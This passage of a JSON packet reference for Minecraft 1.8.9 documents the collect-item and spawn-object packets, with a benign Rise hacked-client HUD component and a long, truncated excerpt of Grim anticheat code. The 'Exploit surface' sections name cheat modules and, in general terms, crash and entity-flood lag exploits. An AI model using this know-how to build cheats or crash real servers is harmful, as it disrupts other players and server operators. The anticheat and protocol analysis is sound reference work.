   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S0D plays the item pickup animation: a VarInt item-entity id and a VarInt collector-entity id. The server emits it from EntityLivingBase.onCollideWithPlayer, which sends up to three tracking broadcasts per pickup depending on the item-count branch. The client spawns the collect particles, plays the sound and removes the item entity. It is a pure presentation packet."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleCollectItem removes the item entity by id, spawns the pickup particles and plays the collect sound. Nothing on the client validates the collector id; the animation is cosmetic. The server side is equally dumb: three sendToAllTrackingEntity calls in onCollideWithPlayer with no rate limiting."
     },
     {
      "h": "Why clients touch it",
      "p": "Almost nobody. The single functional hit is Rise 6.x AdaptiveRefreshRateComponent, which uses S0D as a cheap game-activity signal: an item pickup forces the HUD cache dirty for 5 ticks so the adaptive refresh rate does not sleep through pickups. Everything else in the corpus is vanilla. The ItemESP and ItemStealer families that one might expect to care about pickups do not hook S0D in these clients: they track item entities directly on the entity list."
     },
     {
      "h": "Exploit surface",
      "p": "None. S0D carries two entity ids and drives only particles and a despawn. There is no state, no timing heuristic and no anti-cheat that measures pickups, so modules have nothing to cancel, spoof or time. The honest assessment is that S0D is the least interesting packet in this range: its only corpus use is a HUD perf component treating it as an activity tick."
     }
    ],
    "overview": "The pickup animation packet: item entity id plus collector id, driving particles, sound and a despawn. Module interest is essentially zero: the only functional use in the whole corpus is Rise's AdaptiveRefreshRateComponent, which treats S0D as a game-activity signal to keep the HUD refresh awake.",
    "server_handling": "EntityLivingBase.onCollideWithPlayer sends S0D through the entity tracker in three branches covering the pickup conditions, each a sendToAllTrackingEntity with the item entity id and the collector's own id. No server-side rate limit or validation exists.",
    "protocol_notes": "Two VarInts: collected item entity id first, collector player id second (the vanilla constructor takes (collectedItemEntityId, entityId)). Clientbound in PLAY state. The collector id is not required to be the local player, which is why the packet also animates other players' pickups.",
    "anticheat_landscape": "Nothing to flag. No anti-cheat measures item pickups, and the packet carries no position or timing data. The only ecosystem interaction is visual: a client that suppresses S0D would still receive the items in inventory, so even packet-cancelling modules would gain nothing.",
    "modules": [
     {
      "name": "AdaptiveRefreshRateComponent",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Keep the HUD refresh awake around pickups: an S0D forces the HUD cache dirty for 5 ticks so the adaptive refresh does not sleep through game activity.",
      "how_it_works": "On PacketReceiveEvent, S0D sets disabledFor = 5, which disables the adaptive refresh for that many ticks in PreMotionEvent; S02 chat, S30 window items and S2F slot updates drive the same dirty path. The component runs at component level in the HUD module tree.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/component/impl/hud/AdaptiveRefreshRateComponent.java =====\npackage com.alan.clients.component.impl.hud;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.ui.ingame.GuiIngameCache;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S0DPacketCollectItem;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\nimport net.minecraft.network.play.server.S30PacketWindowItems;\nimport rip.vantage.commons.util.time.StopWatch;\n\npublic class AdaptiveRefreshRateComponent extends Component {\n\n    private boolean playerList, debugInfo;\n    private boolean setDirty;\n    private int disabledFor;\n    private float health;\n    public final StopWatch stopWatch = new StopWatch();\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (mc.thePlayer.ticksExisted % 100 == 0 || setDirty ||\n                mc.gameSettings.keyBindPlayerList.isKeyDown() != playerList || mc.gameSettings.showDebugInfo != debugInfo ||\n                mc.thePlayer.ticksExisted <= 10 || disabledFor > 0) {\n            GuiIngameCache.dirty = true;\n            playerList = mc.gameSettings.keyBindPlayerList.isKeyDown();\n            debugInfo = mc.gameSettings.showDebugInfo;\n            setDirty = false;\n        }\n\n        if (health != mc.thePlayer.getHealth()) {\n            disabledFor = 3;\n            health = mc.thePlayer.getHealth();\n        }\n\n        disabledFor--;\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> onRender2D = event -> {\n        if (mc.currentScreen != null) {\n            setDirty = true;\n            GuiIngameCache.dirty = true;\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        Packet packet = event.getPacket();\n\n        if (packet instanceof S02PacketChat || packet instanceof S30PacketWindowItems || packet instanceof S2FPacketSetSlot) {\n            stopWatch.reset();\n            setDirty = true;\n        }\n\n        if (packet instanceof S0DPacketCollectItem) {\n            disabledFor = 5;\n        }\n    };\n}\n// NOTE (AI): A HUD performance component, not a cheat module. S0D is used as a cheap game-activity signal: when an item is collected, the HUD cache is forced dirty for 5 ticks so the adaptive refresh does not sleep through pickups. Chat, window items, slot updates and health changes drive the same dirty path. This is the only functional use of S0D in the entire 8-client corpus; every other reference is vanilla.",
      "code_source": "Rise 6.1.30 - com/alan/clients/component/impl/hud/AdaptiveRefreshRateComponent.java",
      "vanilla_hook": "PacketReceiveEvent (S0D), PreMotionEvent (tick accounting), Render2DEvent.",
      "anti_cheat_notes": "None: the component mutates only the local HUD cache and never touches the packet or the wire.",
      "variations": "Identical in 6.1.30 and 6.2.4; no other client in the corpus references S0D in non-vanilla code."
     }
    ],
    "general_hooks": "PacketReceiveEvent only, and only in Rise 6.x; the component model is the sole consumer.",
    "client_variations": "Rise 6.1.30 and 6.2.4 share the component; Memeware, Nekoware, Sigma, Spicy and Tenacity have no non-vanilla S0D code at all.",
    "related": [
     "S0CPacketSpawnPlayer",
     "S2FPacketSetSlot",
     "S30PacketWindowItems",
     "S0BPacketAnimation"
    ],
    "anticheat": {
     "overview": "The collect-item packet has zero hits in the 50-anticheat corpus. It carries two entity ids and drives only a particle burst, a sound and a despawn; there is nothing to measure and nothing to flag. The honest summary is that no anticheat references S0D, matching its role as pure presentation.",
     "checks": []
    }
   },
   "wiki_notes": [
    "The packet only plays the pickup animation flying the item toward the collector and does not destroy the entity in client memory or add it to the inventory, so a destroy packet handles removal.",
    "The collector and collected entities can be any entity, though the vanilla server only uses it for items, experience orbs and projectiles such as arrows.",
    "MCP 1.8.9 S0DPacketCollectItem implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleCollectItem; wire serde is readPacketData/writePacketData via readVarIntFromBuffer.",
    "1.8.9 callers: EntityLivingBase.onItemPickup sends new S0DPacketCollectItem (line 2137): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityLivingBase.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S0DPacketCollectItem/",
   "mcp_path": "net/minecraft/network/play/server/S0DPacketCollectItem.java",
   "group": "play-client",
   "logic_classes": [
    "EntityLivingBase"
   ]
  },
  {
   "id": "S0EPacketSpawnObject",
   "hex": "0x0E",
   "dec": 14,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Spawn Object",
   "desc": "Spawns a non-living entity: item drop, boat, minecart, arrow, fireball, ender pearl, armor stand, etc.",
   "tags": [
    "entity",
    "mob",
    "spawn",
    "object"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "type",
     "type": "unsigned byte",
     "desc": "Entity type ID from EntityList (63=fireball, 64=smallFireball, 2=itemDrop, 1=boat)"
    },
    {
     "name": "x/y/z",
     "type": "fixed-point int",
     "desc": "Position × 32"
    },
    {
     "name": "pitch/yaw/headPitch",
     "type": "byte",
     "desc": "Rotations × 256/360"
    },
    {
     "name": "velocityX/Y/Z",
     "type": "short",
     "desc": "Velocity × 8000"
    },
    {
     "name": "metadata",
     "type": "DataWatcher",
     "desc": "Entity metadata"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Type",
     "Unsigned Byte",
     "EntityList ID"
    ],
    [
     "X",
     "Int",
     "x * 32"
    ],
    [
     "Y",
     "Int",
     "y * 32"
    ],
    [
     "Z",
     "Int",
     "z * 32"
    ],
    [
     "Yaw",
     "byte",
     "yaw * 256/360"
    ],
    [
     "Pitch",
     "byte",
     "pitch * 256/360"
    ],
    [
     "Head Pitch",
     "byte",
     ""
    ],
    [
     "Velocity X",
     "short",
     ""
    ],
    [
     "Velocity Y",
     "short",
     ""
    ],
    [
     "Velocity Z",
     "short",
     ""
    ],
    [
     "Metadata",
     "DataWatcher",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSpawnObject()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Entity types: 1=boat, 2=item, 50=TNTPrimed, 51=enderCrystal, 60=arrow, 61=snowball, 62=egg, 63=fireball, 64=smallFireball, 65=enderPearl, 66=witherSkull, 67=shulkerBullet, 68=llamaSpit, 90=fishingFloat, 91=spectralArrow, 93=dragonFireball. Used by AntiFireball (attack fireballs), ItemESP (track items), and BoatFly.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The spawn packet for every non-living entity: item drops (type 2), boats (1), minecarts (10), TNT (50), ender crystals (51), arrows and spectral arrows (60/91), snowballs (61), eggs (62), fireballs and small fireballs (63/64), ender pearls (65), wither skulls (66), fishing hooks (90), falling blocks (70), item frames (71), armor stands (78) and more. The server's EntityTrackerEntry.getPacket builds it with the EntityList type code, fixed-point position (x32), byte rotations (x256/360) and short velocity (x8000), and the third constructor argument packs a per-type data int: the shooter entity id for arrows and fireballs, the block state id for falling blocks, the minecart type for carts, the facing index for item frames."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleSpawnObject reads the entity id, type byte, position, three rotations, the three velocity shorts and the trailing DataWatcher, then creates the entity through EntityList.createEntityByID and applies the transform. For projectile types the data int is used to look up the throwing entity so the client can attribute the projectile. Server side, the same packet class is the output of EntityTrackerEntry.getPacket, which is why the type codes and the data int semantics are defined by the server's tracking code, not by the packet class itself."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 reference clients hook S0E in any module. The corpus shows only vanilla files plus Rise 6.1.30/6.2.4 NetworkAPI.java, which lists S0EPacketSpawnObject in the packet registry that the scripting API exposes to scripts. The absence is structural: ESP, Tracers and KillAura in these clients iterate world.getLoadedEntityList on render ticks instead of hooking spawn packets, so they never see S0E, and the throwable-specific combat modules of the wider ecosystem (AntiFireball-style projectile attackers, item ESP) are not present in this corpus."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is server-trusted end to end, so the attack surface is client-side robustness: extreme velocity shorts, bogus type codes and oversized DataWatcher payloads are the classic crash vectors, and armor stand floods (type 78) were the 1.8-era lag exploit. For anti-cheat work the interesting field is the data int: a projectile carrying the player's entity id as owner is the standard signal AntiFireball-style modules use, and servers that simulate projectiles server-side validate the owner id against the tracker. Anti-cheats that replay or predict projectile trajectories reconstruct them from S0E position and velocity, so the packet is a timing reference for those checks."
     }
    ],
    "overview": "The spawn packet for all non-living entities: items, vehicles, TNT, projectiles, armor stands. In the 8-client corpus it is untouched by modules: ESP iterates the world entity list instead of hooking spawn packets, and the only non-vanilla reference is Rise's NetworkAPI script registry. Documented for protocol completeness and for the projectile-attribution semantics modules in other ecosystems build on.",
    "server_handling": "EntityTrackerEntry.getPacket switches on the tracked entity class and returns S0E with a type code from EntityList, position x32, yaw/pitch byte rotations and motion x8000 shorts. The third constructor int is type-specific: shooter entity id for arrows and fireballs (0 when the shooter is gone), block state id for falling blocks, minecart type id for carts, facing horizontal index for item frames. The client handler creates the entity and applies the transform; for arrows the data int resolves the thrower so the client can render the correct owner.",
    "protocol_notes": "Entity id and type are VarInt/unsigned byte; position is three ints at x32, rotations are three bytes at x256/360 (yaw, pitch, head pitch), velocity is three shorts at x8000. A DataWatcher block terminates the packet only when the entity has metadata; most non-living types send an empty watcher. The same type codes are shared with the 1.8 EntityList server-side table, so a mismatch between client and server entity registries despawns the entity silently.",
    "anticheat_landscape": "Nothing client-controlled is flaggable here because the packet is purely clientbound and server-authored. Anti-cheats use it indirectly: projectile simulation checks reconstruct arrow and fireball paths from S0E and replay them to catch players who dodge impossibly, and servers rate-limit object spawns to stop item/armor stand flood lag exploits. No reference client touches it, so there is no bypass trade-off to document beyond the generic entity-spawn flood mitigations.",
    "modules": [],
    "client_variations": "The only client-side difference in the corpus is Rise 6.1.30/6.2.4 exposing S0EPacketSpawnObject.class in NetworkAPI's packet list for the scripting system; every other client reference is the bundled vanilla NetHandlerPlayClient, EntityTrackerEntry, EnumConnectionState and INetHandlerPlayClient.",
    "related": [
     "S0FPacketSpawnMob",
     "S12PacketEntityVelocity",
     "S13PacketDestroyEntities"
    ],
    "anticheat": {
     "overview": "S0E spawns a generic entity (item, TNT, boat, arrow) with a type id, position and velocity, and is the most common spawn packet in the protocol. Server-side anticheats treat the spawn-object family as the feed for their entity replication: every spawn registers an entity in the compensated world so reach and killaura checks can measure vectors to real targets, and fake-entity bait mechanisms reuse the same family to lure auras. The corpus hits on S0E are therefore the spawn listeners themselves (Grim PacketEntityReplication, Hydro EntityTracker, Kauri PacketHandler, FlopAC WrappedOutSpawnEntityPacket) plus the anti-aura bait code that reuses spawn packets (Kauri FakeMob, Peyang NPC, Shard ViewTrackingObserver).",
     "checks": [
      {
       "name": "PacketEntityReplication (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Replicate every server-side entity spawn, including the S0E spawn-object packet, into the simulated world that reach and hitbox checks run against.",
       "how_it_works": "PacketSendListener handles SPAWN_ENTITY (S0E), SPAWN_LIVING_ENTITY, SPAWN_PLAYER and SPAWN_PAINTING, calling addEntity with the id, uuid, type and position; subsequent relative moves, teleports, rotations, metadata and equipment updates are applied inside latency-compensated realtime tasks, and despawns are queued per transaction. It also blocks ViaVersion's faked levitation effects and drives the spawn-teleport acceptance state used by setbacks.",
       "detects": "Reach and killaura cheats are measured against the replicated boxes, so the check is the data foundation rather than a flag; it keeps the anticheat from being fooled by spoofed spawn state.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.LogUtil;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.DashableEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityHook;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityTrackXRot;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.nmsutil.EntityMetadataPoseUtil;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.EntityPositionData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.protocol.player.UserProfile;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerAttachEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEquipment;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityPositionSync;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMoveAndRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityStatus;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfo;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoRemove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoUpdate;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRemoveEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPassengers;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPainting;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPlayer;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\npublic class PacketEntityReplication extends Check implements PacketReceiveListener, PacketSendListener {\n\n    private final AtomicBoolean hasSentPreWavePacket = new AtomicBoolean(true);\n\n    // Let's imagine the player is on a boat.\n    // The player breaks this boat\n    // If we were to despawn the boat without an extra transaction, then the boat would disappear before\n    // it disappeared on the client side, creating a ghost boat to flag checks with\n    //\n    // If we were to despawn the tick after, spawning must occur the transaction before to stop the same exact\n    // problem with ghost boats in reverse.\n    //\n    // Therefore, we despawn the transaction after, and spawn the tick before.\n    //\n    // If we despawn then spawn an entity in the same transaction, then this solution would despawn the new entity\n    // instead of the old entity, so we wouldn't see the boat at all\n    //\n    // Therefore, if the server sends a despawn and then a spawn in the same transaction for the same entity,\n    // We should simply add a transaction (which will clear this list!)\n    //\n    // Another valid solution is to simply spam more transactions, but let's not waste bandwidth.\n    private final List<Integer> despawnedEntitiesThisTransaction = new ArrayList<>();\n\n    // Maximum ping when a firework boost is removed from the player.\n    private int maxFireworkBoostPing = 1000;\n\n    public PacketEntityReplication(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        // Teleports don't interpolate, duplicate 1.17 packets don't interpolate\n        if (!isTickPacket(event.getPacketType())) return;\n        player.compensatedEntities.entitiesRemovedThisTick.clear();\n        boolean isTickingReliably = player.isTickingReliablyFor(3);\n\n        PacketEntity playerVehicle = player.compensatedEntities.self.getRiding();\n        for (PacketEntity entity : player.compensatedEntities.entityMap.values()) {\n            if (entity == playerVehicle && !player.vehicleData.lastDummy) {\n                // The player has this as their vehicle, so they aren't interpolating it.\n                // And it isn't a dummy position\n                entity.setPositionRaw(player, entity.getPossibleLocationBoxes());\n            } else {\n                entity.onMovement(isTickingReliably);\n            }\n        }\n\n        if (player.vehicleData.camelSprintingState == SprintingState.STOPPING) {\n            player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n        } else if (player.vehicleData.camelSprintingState == SprintingState.STOPPED && player.isSprinting) { // For sprint desyncs\n            player.vehicleData.camelSprintingState = SprintingState.STARTED;\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        // ensure grim is the one that sent the transaction\n        if ((event.getPacketType() == PacketType.Play.Server.PING || event.getPacketType() == PacketType.Play.Server.WINDOW_CONFIRMATION) && player.packetStateData.lastServerTransWasValid) {\n            despawnedEntitiesThisTransaction.clear();\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            WrapperPlayServerSpawnLivingEntity packetOutEntity = new WrapperPlayServerSpawnLivingEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getEntityUUID(), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_ENTITY) {\n            WrapperPlayServerSpawnEntity packetOutEntity = new WrapperPlayServerSpawnEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID().orElse(null), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), null, packetOutEntity.getData());\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            WrapperPlayServerSpawnPlayer packetOutEntity = new WrapperPlayServerSpawnPlayer(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PLAYER, packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PAINTING) {\n            WrapperPlayServerSpawnPainting packetOutEntity = new WrapperPlayServerSpawnPainting(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PAINTING, packetOutEntity.getPosition().toVector3d(), 0, 0f, null, packetOutEntity.getDirection().getHorizontalIndex());\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            WrapperPlayServerEntityRelativeMove move = new WrapperPlayServerEntityRelativeMove(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), null, null, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            WrapperPlayServerEntityRelativeMoveAndRotation move = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            WrapperPlayServerEntityTeleport move = new WrapperPlayServerEntityTeleport(event);\n            Vector3d pos = move.getPosition();\n            handleMoveEntity(event, move.getEntityId(), pos.getX(), pos.getY(), pos.getZ(), move.getYaw(), move.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_POSITION_SYNC) {\n            // ENTITY_TELEPORT but without relative flags\n            WrapperPlayServerEntityPositionSync move = new WrapperPlayServerEntityPositionSync(event);\n            final EntityPositionData values = move.getValues();\n            final Vector3d pos = values.getPosition();\n            // TODO this isn't technically correct\n            // If the position sync is to a pos > 4096 from the entity pos, client does some special stuff without interpolation\n            handleMoveEntity(event, move.getId(), pos.getX(), pos.getY(), pos.getZ(), values.getYaw(), values.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_ROTATION) { // Affects interpolation\n            WrapperPlayServerEntityRotation move = new WrapperPlayServerEntityRotation(event);\n            handleMoveEntity(event, move.getEntityId(), 0, 0, 0, move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, false);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_METADATA) {\n            WrapperPlayServerEntityMetadata entityMetadata = new WrapperPlayServerEntityMetadata(event);\n            schedulePoseTransition(entityMetadata, event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityMetadata(entityMetadata.getEntityId(), entityMetadata.getEntityMetadata()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EQUIPMENT) {\n            WrapperPlayServerEntityEquipment equipment = new WrapperPlayServerEntityEquipment(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityEquipment(equipment.getEntityId(), equipment.getEquipment()));\n        }\n\n        // 1.19.3+\n        else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_UPDATE) {\n            WrapperPlayServerPlayerInfoUpdate info = new WrapperPlayServerPlayerInfoUpdate(event);\n            if (info.getActions().contains(WrapperPlayServerPlayerInfoUpdate.Action.ADD_PLAYER)) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    for (WrapperPlayServerPlayerInfoUpdate.PlayerInfo entry : info.getEntries()) {\n                        final UserProfile gameProfile = entry.getGameProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                });\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_REMOVE) {\n            WrapperPlayServerPlayerInfoRemove remove = new WrapperPlayServerPlayerInfoRemove(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> remove.getProfileIds().forEach(player.compensatedEntities.profiles::remove));\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO) {\n            WrapperPlayServerPlayerInfo info = new WrapperPlayServerPlayerInfo(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (info.getAction() == WrapperPlayServerPlayerInfo.Action.ADD_PLAYER) {\n                    for (WrapperPlayServerPlayerInfo.PlayerData entry : info.getPlayerDataList()) {\n                        final UserProfile gameProfile = entry.getUserProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                } else if (info.getAction() == WrapperPlayServerPlayerInfo.Action.REMOVE_PLAYER) {\n                    info.getPlayerDataList().forEach(profile -> player.compensatedEntities.profiles.remove(profile.getUserProfile().getUUID()));\n                }\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EFFECT) {\n            WrapperPlayServerEntityEffect effect = new WrapperPlayServerEntityEffect(event);\n\n            PotionType type = effect.getPotionType();\n\n            // ViaVersion tries faking levitation effects and fails badly lol, flagging the anticheat\n            // Block other effects just in case ViaVersion gets any ideas\n            //\n            // Set to 24 so ViaVersion blocks it\n            // 24 is the levitation effect\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) > 23) {\n                event.setCancelled(true);\n                return;\n            }\n\n            // ViaVersion dolphin's grace also messes us up, set it to a potion effect that doesn't exist on 1.12\n            // Effect 31 is bad omen\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_13) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) == 30) {\n                event.setCancelled(true);\n                return;\n            }\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.addPotionEffect(type, effect.getEffectAmplifier());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.REMOVE_ENTITY_EFFECT) {\n            WrapperPlayServerRemoveEntityEffect effect = new WrapperPlayServerRemoveEntityEffect(event);\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.removePotionEffect(effect.getPotionType());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.UPDATE_ATTRIBUTES) {\n            WrapperPlayServerUpdateAttributes attributes = new WrapperPlayServerUpdateAttributes(event);\n\n            int entityID = attributes.getEntityId();\n\n            // The attributes for this entity is active, currently\n            if (isDirectlyAffectingPlayer(player, entityID)) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                    () -> player.compensatedEntities.updateAttributes(entityID, attributes.getProperties()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_STATUS) {\n            WrapperPlayServerEntityStatus status = new WrapperPlayServerEntityStatus(event);\n            // This hasn't changed from 1.7.2 to 1.17\n            // Needed to exempt players on dead vehicles, as dead entities have strange physics.\n            if (status.getStatus() == 3) {\n                PacketEntity entity = player.compensatedEntities.getEntity(status.getEntityId());\n\n                if (entity == null) return;\n                entity.isDead = true;\n            }\n\n            if (status.getStatus() == 9) {\n                if (status.getEntityId() != player.entityID) return;\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n            }\n\n            if (status.getStatus() == 31) {\n                PacketEntity hook = player.compensatedEntities.getEntity(status.getEntityId());\n                if 